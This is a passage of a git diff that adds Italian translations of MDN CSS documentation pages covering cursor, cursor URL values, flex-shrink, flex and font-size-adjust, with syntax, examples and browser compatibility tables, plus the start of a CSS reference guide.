+  <tr>
+   <td>{{ SpecName('CSS2.1', 'ui.html#cursor-propsy', 'cursor') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome (WebKit)</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td><code>auto</code>, <code>crosshair</code>, <code>default</code>, <code>move</code>, <code>text</code>, <code>wait</code>, <code>help</code>,<br>
+    <code>n-resize</code>, <code>e-resize</code>, <code>s-resize</code>, <code>w-resize</code>,<br>
+    <code>ne-resize</code>, <code>nw-resize</code>, <code>se-resize</code>, <code>sw-resize</code></td>
+   <td>1.0</td>
+   <td>1.0 (1.0)</td>
+   <td>4.0</td>
+   <td>7.0</td>
+   <td>1.2</td>
+  </tr>
+  <tr>
+   <td><code>pointer</code>, <code>progress</code></td>
+   <td>1.0</td>
+   <td>1.0 (1.0 | 1.7)</td>
+   <td>6.0</td>
+   <td>7.x</td>
+   <td>1.2 | 3.0</td>
+  </tr>
+  <tr>
+   <td><code>url()</code> - See <a href="/en-US/docs/CSS/Using_URL_values_for_the_cursor_property" title="Using URL values for the cursor property">Using URL values</a></td>
+   <td>1.0 (523)</td>
+   <td>1.5 (1.8);<br>
+    OS X: 4.0 (2.0)</td>
+   <td>6.0</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>3.0</td>
+  </tr>
+  <tr>
+   <td>Positioning syntax for <code>url()</code> values {{ experimental_inline() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>not-allowed</code>, <code>no-drop</code>, <code>vertical-text</code>, <code>all-scroll</code>,<br>
+    <code>col-resize</code>, <code>row-resize</code></td>
+   <td>1.0 (522)</td>
+   <td>1.5 (1.8)</td>
+   <td>6.0</td>
+   <td>10.6</td>
+   <td>3.0</td>
+  </tr>
+  <tr>
+   <td><code>alias</code>, <code>cell</code>, <code>copy</code>,<br>
+    <code>ew-resize</code>, <code>ns-resize</code>, <code>nesw-resize</code>, <code>nwse-resize</code></td>
+   <td>1.0 (522)</td>
+   <td>1.5 (1.8)</td>
+   <td>10.0</td>
+   <td>10.6</td>
+   <td>3.0</td>
+  </tr>
+  <tr>
+   <td><code>context-menu</code></td>
+   <td>OS X, Linux: 1.0 (522)</td>
+   <td>OS X, Linux: 1.5 (1.8)</td>
+   <td>10.0</td>
+   <td>10.6</td>
+   <td>3.0</td>
+  </tr>
+  <tr>
+   <td><code>none</code></td>
+   <td>5.0 (533)</td>
+   <td>3.0 (1.9)</td>
+   <td>9.0</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td><code>inherit</code></td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>8.0</td>
+   <td>9.0</td>
+   <td>1.2</td>
+  </tr>
+  <tr>
+   <td><code>zoom-in</code>, <code>zoom-out</code></td>
+   <td>1.0 (522) {{ property_prefix("-webkit-") }}</td>
+   <td>1.0 (1.4) {{ property_prefix("-moz-") }}<br>
+    24.0</td>
+   <td>{{ CompatNo }}</td>
+   <td>11.6</td>
+   <td>3.0 {{ property_prefix("-webkit-") }}</td>
+  </tr>
+  <tr>
+   <td><code>grab</code>, <code>grabbing</code></td>
+   <td>1.0; Windows: 22.0 {{ property_prefix("-webkit-") }}</td>
+   <td>1.5 (1.8) {{ property_prefix("-moz-") }}<br>
+    27.0</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>4.0 {{ property_prefix("-webkit-") }}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_URL_values_for_the_cursor_property" title="Using URL values for the cursor property">Using URL values for the cursor property</a></li>
+ <li>{{ cssxref("pointer-events") }}</li>
+ <li><a href="http://msdn.microsoft.com/en-us/library/aa358795.aspx">Cursor Property (MSDN)</a></li>
+</ul>
diff --git a/files/it/web/css/cursor/usare_valori_url_per_la_proprietà_cursor/index.html b/files/it/web/css/cursor/usare_valori_url_per_la_proprietà_cursor/index.html
new file mode 100644
index 0000000000..772fa80e13
--- /dev/null
+++ b/files/it/web/css/cursor/usare_valori_url_per_la_proprietà_cursor/index.html
@@ -0,0 +1,40 @@
+---
+title: Usare valori URL per la proprietà cursor
+slug: Web/CSS/cursor/Usare_valori_URL_per_la_proprietà_cursor
+tags:
+  - CSS
+  - CSS_2.1
+  - Sviluppo_Web
+  - Tutte_le_categorie
+translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property
+---
+<p> </p>
+<p><a href="it/Gecko">Gecko</a> 1.8 (<a href="it/Firefox_1.5">Firefox 1.5</a>, SeaMonkey 1.0) supportano l'uso di valori URL per la <a class="external" href="http://www.w3.org/TR/CSS21/ui.html#cursor-props">proprietà cursor CSS2</a>. che permette di specificare immagini arbitrarie da usare come puntatori del mouse..</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<p>La sintassi per questa proprietà è:</p>
+<pre class="eval">cursor: [&lt;url&gt;,]* keyword;
+</pre>
+<p>Queso significa che zero o più URL possono essere specificati (separati da virgola), seguiti <b>necessariamente</b> da una delle keyword definite nella specifica <a href="it/CSS">CSS</a>, come <code>auto</code> o <code>pointer</code>.</p>
+<p>Ad esempio, la scrittura seguente è corretta:</p>
+<pre class="eval">cursor: url(foo.cur), url(<span class="nowiki">http://www.example.com/bar.gif</span>), auto;
+</pre>
+<p>Si cercherà anzitutto di caricare foo.cur. Se il file non esiste oppure non è valido per altre rafgioni, si prova con bar.gif, e se anche questa non può essere usata, la scelta cadrà su <code>auto</code>.</p>
+<p>il supporto della <a class="external" href="http://www.w3.org/TR/css3-ui/#cursor">sintassi</a> CSS3 per i valori cursor è stata aggiunta in Gecko 1.8beta3; funziona perciò in Firefox 1.5. Permette di specificare le coordinate dell'hotspot del puntatore, che verrà spostato dai bordi dell'immagine del puntatore. Se nono sono specificate, le coordinate dell'hotspot vengono lette dal file stesso (nel caso di CUR o XBM) o vengono definite come l'angolo in alto a sinistra dell'immagine. Un esempio della sintassi CSS3 è:</p>
+<pre class="eval">cursor: url(foo.png) 4 12, auto;
+</pre>
+<p>Il primo numero è l'ascissa (X), il secondo la ordinata (Y). L'esempio definirà l'hotspot come il pixel (4,12) a partire dall'alto a sinistra (0,0).</p>
+<h3 id="Limitazioni" name="Limitazioni">Limitazioni</h3>
+<p>Sono usabili tutti i formati immagine supportati da Gecko. Questo significa che possono essere usate immagini BMP, JPG, CUR, GIF, eccetera. In ogni caso, ANI non è supportato. Ed anche se viene secificata una GIF animata, il puntatore non diventerà animato. Questa limitazione verrà rimossa nelle prossime release.</p>
+<p><br>
+ Gecko non pone limiti alle dimensioni dei cursori. In ogni caso, ci si deve limitare ad una grandezza di 32x32 per la massima compatibilià con sistemi operativi e piattaforme. In particolare, puntatori più grandi di tale dimensioni non funzioneranno su Windows 9x (95,98, ME).</p>
+<p>Non è supportata la translucenza per i puntatori su versioni di Windows precedenti ad XP. QUesta è una limitazione del sistema operativo. La trasparenza funziona su tutte le piattaforme.</p>
+<p>Solo le versioni per Windows, OS/2 e Linux (con l'uso di GTK+ 2.4 o maggiore) di Mozilla supportano i valori URL per i puntatori. Il supporto per altre piattaforme potrà essere aggiunto in versioni future (Mac OS: {{ Bug(286304) }}, QNX Neutrino: {{ Bug(286307) }}, XLib: {{ Bug(286309) }}, Qt: {{ Bug(286310) }}, BeOS: {{ Bug(298184) }}, GTK 2.0/2.2: {{ Bug(308536) }})</p>
+<h3 id="Compatibilit.C3.A0_con_altri_browsers" name="Compatibilit.C3.A0_con_altri_browsers">Compatibilità con altri browsers</h3>
+<p>Anche Microsoft Internet Explorer supporta valori URI per la proprietà <code>cursor</code>. In ogni caso sono supportati solo i formati ANI e CUR.</p>
+<p>La sintassi per la proprietà <code>cursor</code> è inoltre meno restrittiva. Questo significa che sia la scrittura:</p>
+<pre class="eval">cursor: url(foo.cur);
+</pre>
+<p>che:</p>
+<pre class="eval">cursor: url(foo.cur), pointer, url(bar.cur), auto;
+</pre>
+<p>funzioneranno in MSIE, ma non nei browser Gecko. Per mantenere la compatibilità con Gecko e in accordo con le specifiche CSS, inserire sempre per prima la lista degli URI ed usare esattamente un valore keyword al termine.</p>
diff --git a/files/it/web/css/flex-shrink/index.html b/files/it/web/css/flex-shrink/index.html
new file mode 100644
index 0000000000..81cc7cfd51
--- /dev/null
+++ b/files/it/web/css/flex-shrink/index.html
@@ -0,0 +1,120 @@
+---
+title: flex-shrink
+slug: Web/CSS/flex-shrink
+tags:
+  - CSS
+  - CSS Flex
+  - Proprietà CSS
+translation_of: Web/CSS/flex-shrink
+---
+<div>{{CSSRef}}</div>
+
+<div> </div>
+
+<p><span class="seoSummary">La proprietà <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>flex-shrink</code></strong> setta il fattore di restringimento di un elemento flessibile. Se la dimensione di tutti gli elementi flessibili è maggiore del loro contenitore flessibile: gli elementi si restringono per adattarsi secondo il valore impostato di <code>flex-shrink</code>.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-shrink.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;number&gt; valori */
+flex-shrink: 2;
+flex-shrink: 0.6;
+
+/* Valori globali */
+flex-shrink: inherit;
+flex-shrink: initial;
+flex-shrink: unset;
+</pre>
+
+<p>La proprietà <code>flex-shrink</code> è specificata come un singolo <code><a href="#&lt;number>">&lt;number&gt;</a></code>.</p>
+
+<h3 id="Valori">Valori</h3>
+
+<dl>
+ <dt><a id="&lt;number>" name="&lt;number>"><code>&lt;number&gt;</code></a></dt>
+ <dd>Guarda {{cssxref("&lt;number&gt;")}}. Non sono ammessi valori negativi.</dd>
+</dl>
+
+<h3 id="Sintassi_formale">Sintassi formale</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Esempio">Esempio</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<div id="Live_Sample">
+<pre class="brush: html">&lt;p&gt;La larghezza del contenuto è di 500 px; la base flessibile degli articoli flessibili è 120 px.&lt;/p&gt;
+&lt;p&gt;A, B, C hanno il valore flex-shrink:1 invece D ed E hanno flex-shrink:2 &lt;/p&gt;
+&lt;p&gt;La larghezza di D ed E è minore delle altre.&lt;/p&gt;
+&lt;div id="content"&gt;
+  &lt;div class="box" style="background-color:red;"&gt;A&lt;/div&gt;
+  &lt;div class="box" style="background-color:lightblue;"&gt;B&lt;/div&gt;
+  &lt;div class="box" style="background-color:yellow;"&gt;C&lt;/div&gt;
+  &lt;div class="box1" style="background-color:brown;"&gt;D&lt;/div&gt;
+  &lt;div class="box1" style="background-color:lightgreen;"&gt;E&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#content {
+  display: flex;
+  width: 500px;
+}
+
+#content div {
+  flex-basis: 120px;
+  border: 3px solid rgba(0,0,0,.2);
+}
+
+.box {
+  flex-shrink: 1;
+}
+
+.box1 {
+  flex-shrink: 2;
+}
+</pre>
+</div>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Example', 500, 300)}}</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#flex-shrink', 'flex-shrink')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.flex-shrink")}}</p>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of flex items along the main axis</a></em></li>
+</ul>
diff --git a/files/it/web/css/flex/index.html b/files/it/web/css/flex/index.html
new file mode 100644
index 0000000000..a59a226f90
--- /dev/null
+++ b/files/it/web/css/flex/index.html
@@ -0,0 +1,200 @@
+---
+title: flex
+slug: Web/CSS/flex
+translation_of: Web/CSS/flex
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>La proprietà <strong><code>flex</code></strong> di <a href="/en-US/docs/CSS" title="CSS">CSS</a> è una proprietà <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">shorthand</a> usata per modificare le dimensioni di un elemento flessibile e riempire gli spazi. Gli elementi flex possono essere usati per distribuire lo spazio in modo proporzionale, al loro allargarsi o al loro restringersi, per evitare sovrapposizioni o eccedenze.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>Vedi <a href="/en-US/docs/CSS/Using_CSS_flexible_boxes" title="CSS/Using_CSS_flexible_boxes">L'Uso di flexible boxes</a> per altre proprietà e informazioni.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="brush:css">/* 0 0 auto */
+flex: none;
+
+/* Un valore, numero senza unità: flex-grow */
+flex: 2;
+
+/* Un valore, width/height: flex-basis */
+flex: 10em;
+flex: 30px;
+flex: auto;
+flex: content;
+
+/* Due valori: flex-grow | flex-basis */
+flex: 1 30px;
+
+/* Due valori: flex-grow | flex-shrink */
+flex: 2 2;
+
+/* Tre valori: flex-grow | flex-shrink | flex-basis */
+flex: 2 2 10%;
+
+/* Valori globali */
+flex: inherit;
+flex: initial;
+flex: unset;
+</pre>
+
+<h3 id="Values" name="Values">Valori</h3>
+
+<dl>
+ <dt><code>&lt;'flex-grow'&gt;</code></dt>
+ <dd>Il valore <code><a href="/en-US/docs/Web/CSS/flex-grow">flex-grow</a></code> appartiene all'elemento flex. Vedi {{cssxref("&lt;number&gt;")}} per ulteriori dettagli. I valori negativi sono considerati invalidi. Quando non si inseriscono valori, quello predefinito è 1.</dd>
+ <dt><code>&lt;'flex-shrink'&gt;</code></dt>
+ <dd>Il valore <code><a href="/en-US/docs/Web/CSS/flex-shrink">flex-shrink</a></code> appartiene all'elemento flex. Vedi {{cssxref("&lt;number&gt;")}} per ulteriori dettagli. I valori negativi sono considerati invalidi. Quando non si inseriscono valori, quello predefinito è 1.</dd>
+ <dt><code>&lt;'flex-basis'&gt;</code></dt>
+ <dd>Il valore <a href="/en-US/docs/CSS/flex-basis" title="CSS/flex-basis"><code>flex-basis</code></a> appartiene all'elemento flex. Qualsiasi valore valido per width e heigth è accettato. La dimensione con valore 0 deve avere un'unità, per evitare di essere interpretata come un valore di flessibilità. Quando non si inseriscono valori, quello predefinito è 0%.</dd>
+ <dt><code>none</code></dt>
+ <dd>Questo valore viene interpretato come: <code>0 0 auto</code>.</dd>
+ <dt>
+ <h3 id="Sintassi_formale">Sintassi formale</h3>
+ </dt>
+</dl>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: css">#flex-container {
+	display: -webkit-flex;
+	display: flex;
+	-webkit-flex-direction: row;
+	flex-direction: row;
+}
+
+#flex-container &gt; .flex-item {
+	-webkit-flex: auto;
+	flex: auto;
+}
+
+#flex-container &gt; .raw-item {
+	width: 5rem;
+}
+</pre>
+
+<pre class="brush: html">&lt;div id="flex-container"&gt;
+    &lt;div class="flex-item" id="flex"&gt;Flex box (click to toggle raw box)&lt;/div&gt;
+    &lt;div class="raw-item" id="raw"&gt;Raw box&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">var flex = document.getElementById("flex");
+var raw = document.getElementById("raw");
+flex.addEventListener("click", function() {
+	raw.style.display = raw.style.display == "none" ? "block" : "none";
+});
+</pre>
+
+<pre class="brush: css">#flex-container {
+	width: 100%;
+	font-family: Consolas, Arial, sans-serif;
+}
+
+#flex-container &gt; div {
+	border: 1px solid #f00;
+	padding: 1rem;
+}
+
+#flex-container &gt; .raw-item {
+	border: 1px solid #000;
+}
+</pre>
+</div>
+
+<h2 id="Risultato">Risultato</h2>
+
+<p>{{EmbedLiveSample('Example','100%','60')}}</p>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#flex', 'flex')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("18.0")}} (behind a pref) <sup><a href="#bc1">[1]</a> <a href="#bc2">[2]</a></sup><br>
+    {{CompatGeckoDesktop("20.0")}} <sup><a href="#bc2">[2]</a><a href="#bc3">[3]</a></sup></td>
+   <td>21.0{{property_prefix("-webkit")}}<br>
+    29.0</td>
+   <td>10.0{{property_prefix("-ms")}} <sup><a href="#flexbug8">[3]</a></sup><sup><a href="#flexbug4">[4]</a></sup><br>
+    11.0 <sup><a href="#flexbug8">[3]</a></sup><sup><a href="#flexbug4">[4]</a></sup></td>
+   <td>12.10</td>
+   <td>6.1{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>4.4</td>
+   <td>11</td>
+   <td>12.10</td>
+   <td>7.1{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p><sup><a name="bc1">[1]</a></sup> <span id="result_box" lang="it"><span class="hps">Per attivare il supporto</span> <span class="hps">FlexBox</span> <span class="hps">per Firefox</span> <span class="hps">18 e 19</span><span>,</span> <span class="hps">l'utente deve</span> <span class="hps">cambiare la</span> <span class="hps">about:</span> <span class="hps">config</span> <span class="hps">preferenza</span> <span class="atn hps">"</span><span>layout.css.flexbox.enabled</span><span>"</span> <span class="hps">true.</span></span></p>
+
+<p><sup><a name="bc2">[2]</a></sup> Multi-line flexbox sono supportate da Firefox 28.</p>
+
+<p><sup><a name="flexbug8">[3]</a></sup> Internet Explorer 10-11 (ma non 12+) ignora l'uso di <a href="/en-US/docs/Web/CSS/calc"><code>calc()</code></a>nella flex-basis parte della sintassi di flex. Questo può essere aggirato con semplici proprietà. Vedi <a href="https://github.com/philipwalton/flexbugs#8-flex-shorthand-doesnt-support-calc">Flexbug #8</a> per maggiori informazioni.</p>
+
+<p><sup><a name="flexbug4">[4]</a></sup> <span id="result_box" lang="it"><span class="hps">In Internet Explorer</span> <span class="hps">10-11</span> <span class="hps">(ma non</span> <span class="hps">12+)</span><span>,</span> <span class="hps">una dichiarazione</span> <span class="hps">flessibile</span> <span class="hps">con un</span> <span class="hps">valore senza unità</span> <span class="hps">nella sua parte</span> <span class="hps">flex</span><span class="atn">-</span><span>base</span> <span class="hps">è considerato</span> <span class="hps">sintatticamente</span> <span class="hps">valido e</span> <span class="hps">sarà quindi</span> <span class="hps">ignorata</span><span>.</span> <span class="hps">Una soluzione</span> <span class="hps">è quella di includere</span> <span class="hps">sempre</span> <span class="hps">una unità</span> <span class="hps">nella parte</span> <span class="hps">flex</span><span class="atn">-</span><span>base del valore di</span> </span>shorthand di<span lang="it"> <span class="hps">flex</span><span>.</span> <span class="hps">Vedi</span> </span><a href="https://github.com/philipwalton/flexbugs#4-flex-shorthand-declarations-with-unitless-flex-basis-values-are-ignored">Flexbug #4</a> <span lang="it"> <span class="hps">per ulteriori informazioni</span><span>.</span></span></p>
+
+<h2 id="See_also" name="See_also">Guarda altro</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Flexible_boxes" title="CSS/Using_CSS_flexible_boxes">Using CSS flexible boxes</a></li>
+</ul>
diff --git a/files/it/web/css/font-size-adjust/index.html b/files/it/web/css/font-size-adjust/index.html
new file mode 100644
index 0000000000..8933c16794
--- /dev/null
+++ b/files/it/web/css/font-size-adjust/index.html
@@ -0,0 +1,114 @@
+---
+title: font-size-adjust
+slug: Web/CSS/font-size-adjust
+translation_of: Web/CSS/font-size-adjust
+---
+<p>il <strong><code>font-size-adjust</code></strong> <a href="/en-US/docs/Web/CSS">nelle proprieta CSS, dice come </a> dovrebbe essere impostatala dimensione del font  scelto, in base all' altezza dei caratteri minuscoli piuttosto che le lettere maiuscole.</p>
+
+<pre class="brush:css no-line-numbers">/* usa uno specifico font size */
+font-size-adjust: none;
+
+/* usa un dimensione font che dimezza le lettere
+minuscole rispetto al font in uso*/
+font-size-adjust: 0.5;
+
+/* Valori globali */
+font-size-adjust: inherit;
+font-size-adjust: initial;
+font-size-adjust: unset;
+</pre>
+
+<p>La proprieta è utilissima per la leggibilita dei fonts, specialmente alle piccole dimensioni, che è determinata piu dalla dimensione dei caratteri minuscoli che quelli maiuscoli. La leggibilita puo diventare un problema  quando la prima scelta {{ Cssxref("font-family") }} non è disponibile e la sua sostituzione porta una significativa differenza nell' aspetto in rapportato (tra la dimensione caratteri minuscoli e la dimensione del font).</p>
+
+<p>Per usare questa proprieta in modo che sia comparibile con i browsers che non supportano il <code>font-size-adjust</code>, questa viene definita come un numero che  sarà moltiplicato per  la proprieta {{ Cssxref("font-size") }}. Questo significa che il valore specificato per la proprieta, deve essere normalmente il rapporto dell' aspetto del primo font scelto. Per esempio  un foglio di stile  che specifica :</p>
+
+<pre class="brush: css">font-size: 14px;
+font-size-adjust: 0.5;
+</pre>
+
+<p>...sta specificando che le lettere minuscole del font dovrebbero essere alte 7 pixel (0.5 × 14px).</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<h3 id="Valori">Valori</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Sceglie  la dimensione del font in base solo alla proprieta {{ Cssxref("font-size") }}.</dd>
+ <dt>{{cssxref("&lt;numero&gt;")}}</dt>
+ <dd>
+ <p>Sceglie la dimensione del font in modo che il minuscolo ( come determinato dalla  x-height del font ) sia  un  numero  di volte il {{ Cssxref("font-size") }}.</p>
+
+ <p>Il numero specificato dovrebbe normalmente avere il rapporto di aspetto (rapporto di x-height con il font size) della prima scelta nel {{ Cssxref("font-family") }}. Questo vuol dire che il primo font scelto, quando disponibile, apparira della stessa dimensione nei browsers se supportano o no il <code>font-size-adjust</code>.</p>
+
+ <p><code>0</code> genera un testo di altezza zero (testo nascosto).</p>
+ </dd>
+</dl>
+
+<h3 id="Sintassi_Formale">Sintassi Formale</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="times"&gt;Questo testo usa il font Times(10px), che è difficile da leggere nelle piccole dimensioni.&lt;/p&gt;
+&lt;p class="verdana"&gt;Questo testo usa il font Verdana(10px), che a delle lettere minuscole relativamente grandi.&lt;/p&gt;
+&lt;p class="adjtimes"&gt;Questo è il Times 10px, ma adesso corretto allo stesso rapporto di aspetto del Verdana.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.times {
+  font-family: Times, serif;
+  font-size: 10px;
+}
+
+.verdana {
+  font-family: Verdana, sans-serif;
+  font-size: 10px;
+}
+
+.adjtimes {
+  font-family: Times, sans-serif;
+  font-size-adjust: 0.58;
+  font-size: 10px;
+}
+</pre>
+
+<h3 id="Risultati">Risultati</h3>
+
+<p>{{ EmbedLiveSample('Examples', 500, 200) }}</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Fonts', '#propdef-font-size-adjust', 'font-size-adjust') }}</td>
+   <td>{{ Spec2('CSS3 Fonts') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p>The CSS property <code>font-size-adjust</code> was initially defined in CSS 2, but dropped in CSS 2.1. It has been newly defined in CSS 3.</p>
+</div>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.font-size-adjust")}}</p>
+
+<div>{{CSSRef}}</div>
diff --git a/files/it/web/css/guida_di_riferimento_ai_css/index.html b/files/it/web/css/guida_di_riferimento_ai_css/index.html
new file mode 100644
index 0000000000..c97a962ac6
--- /dev/null
+++ b/files/it/web/css/guida_di_riferimento_ai_css/index.html
@@ -0,0 +1,96 @@
+---
+title: Guida di riferimento ai CSS
+slug: Web/CSS/Guida_di_riferimento_ai_CSS
+tags:
+  - CSS
+  - Overview
+  - Reference
+  - 'l10n:priority'
+translation_of: Web/CSS/Reference
+---
+<div>{{CSSRef}}</div>
+
+<p>Usate questo <strong>riferimento CSS</strong> per consultare un <a href="#Keyword_index">indice alfabetico</a> di tutte le proprietà <a href="/en-US/docs/Web/CSS">CSS</a> standard, <a href="/en-US/docs/Web/CSS/Pseudo-classes">le pseudo-classi</a>, <a href="/en-US/docs/Web/CSS/Pseudo-elements">pseudo-elementi</a>, <a href="/en-US/docs/Web/CSS/CSS_Types">i tipi di dati</a>, e <a href="/en-US/docs/Web/CSS/At-rule">le at-rules</a>. Potete anche visualizzare <a href="#Concepts">i concetti chiave del CSS</a> e una lista dei <a href="#Selectors">selettori organizzati per tipo</a>. È anche inclusa un breve <a href="#DOM-CSS_CSSOM">prontuario su DOM-CSS / CSSOM</a>.</p>
+
+<h2 id="Sintassi_di_regola_base">Sintassi di regola base</h2>
+
+<h3 id="Sintassi_di_una_regola_di_stile">Sintassi di una regola di stile</h3>
+
+<pre class="syntaxbox"><var>regola-stile</var> <strong>::=</strong>
+    <var>lista-selettori</var> <strong>{</strong>
+      <var>lista-proprietà</var>
+    <strong>}</strong>
+</pre>
+
+<p>... dove :</p>
+
+<pre class="syntaxbox"><var>lista-selettori</var> <strong>::=</strong>
+    <var>selettore</var>[<strong>:</strong><var>pseudo-classe</var>] [<strong>::</strong><var>pseudo-elemento</var>]
+    [<strong>,</strong> <var>lista-selettori</var>]
+
+<var>lista-proprietà</var> <strong>::=</strong>
+    [<var>proprietà</var> <strong>:</strong> <var>valore</var>] [<strong>;</strong> <var>lista-proprietà</var>]
+</pre>
+
+<p>Consultate la lista dei <a href="#Selectors"><em>selettori</em></a>, <a href="#Pseudo"><em>pseudo-classi</em></a>, e <em><a href="#Pseudo">pseudo-elementi</a></em> sotto. La sintassi per ogni <em>valore</em> specificato dipende dal tipo di dato definito per ogni <em>proprietà</em> specificata.</p>
+
+<h4 id="Esempi_di_regole_di_stile">Esempi di regole di stile</h4>
+
+<pre class="brush: css">strong {
+  color: red;
+}
+
+div.menu-bar li:hover &gt; ul {
+  display: block;
+}
+</pre>
+
+<p>Per un'introduzione a livello principiante della sintassi dei selettori, consultate la nostra <a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">guida ai Selettori CSS</a>. Siate consapevoli che ogni errore di <a href="/en-US/docs/Web/CSS/syntax">sintassi</a> in una definizione di regola invalida l'intera regola. Le regole invalidate vengono ignorate dal browser. Prendete nota ceh la definizione di una regola CSS è interamente <a href="https://www.w3.org/TR/css-syntax-3/#intro">basata su stringhe di testo</a> (ASCII), dove DOM-CSS / CSSOM (il sistema di gestione delle regole) è <a href="https://www.w3.org/TR/cssom/#introduction">basato su oggetti</a>.</p>
+
+<h3 id="Sintassi_at-rules">Sintassi at-rules</h3>
+
+<p>Poiché la struttura delle At-rules varia ampiamente, per piacere consultate <a href="/en-US/docs/Web/CSS/At-rule">At-rule</a> per trovare la sintassi della regola specifica che volete.</p>
+
+<h3 id="Selettori" name="Selettori">Selettori</h3>
+
+<ul>
+ <li>Selettori semplici
+  <ul>
